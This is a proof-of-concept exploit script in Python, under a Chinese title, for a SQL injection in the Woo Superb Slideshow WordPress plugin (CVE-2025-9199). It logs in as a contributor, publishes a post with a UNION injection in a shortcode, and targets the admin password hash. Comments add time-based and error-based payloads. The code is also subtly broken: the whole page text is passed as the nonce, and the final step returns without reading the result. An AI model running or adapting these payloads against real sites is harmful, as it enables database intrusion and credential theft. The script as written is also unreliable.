CVE-2025-9199 WordPress Woo超级幻灯片插件SQL注入漏洞

# CVE-2025-9199 - Woo Superb Slideshow SQL Injection PoC # Vulnerability: SQL Injection via 'woo-superb-slideshow' shortcode parameter # Affected: All versions up to and including 9.1 # Required: Contributor-level WordPress account import requests from urllib.parse import quote TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" def exploit_sql_injection(target_url, username, password): """ Exploits SQL injection in woo-superb-slideshow shortcode to extract sensitive data from WordPress database. """ session = requests.Session() # Step 1: Login as Contributor login_url = f"{target_url}/wp-login.php" session.post(login_url, data={ 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{target_url}/wp-admin/post-new.php', 'testcookie': '1' }) # Step 2: Craft malicious shortcode with SQL injection payload # The injection targets the shortcode parameter which is directly # concatenated into SQL query without proper escaping/preparation sql_payload = "1 UNION SELECT user_pass FROM wp_users WHERE ID=1-- -" malicious_shortcode = f'[woo-superb-slideshow id="{sql_payload}"]' # Step 3: Submit post containing the malicious shortcode post_url = f"{target_url}/wp-admin/post.php" nonce = session.get(f"{target_url}/wp-admin/post-new.php").text # Extract nonce from page (simplified) post_data = { 'post_title': 'Test Post', 'post_content': malicious_shortcode, 'post_status': 'publish', 'post_type': 'post', '_wpnonce': nonce, 'action': 'editpost' } response = session.post(post_url, data=post_data) print(f"[*] Post submitted. Status: {response.status_code}") # Step 4: Trigger the injection by viewing the post # The SQL query executes when the shortcode is rendered # Extracted data appears in the rendered page or via time-based blind techniques return True # Time-based blind SQLi alternative payload: # id="1 AND (SELECT SLEEP(5))-- -" # Error-based payload: # id="1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user_pass FROM wp_users LIMIT 1)))-- -" if __name__ == "__main__": exploit_sql_injection(TARGET_URL, USERNAME, PASSWORD)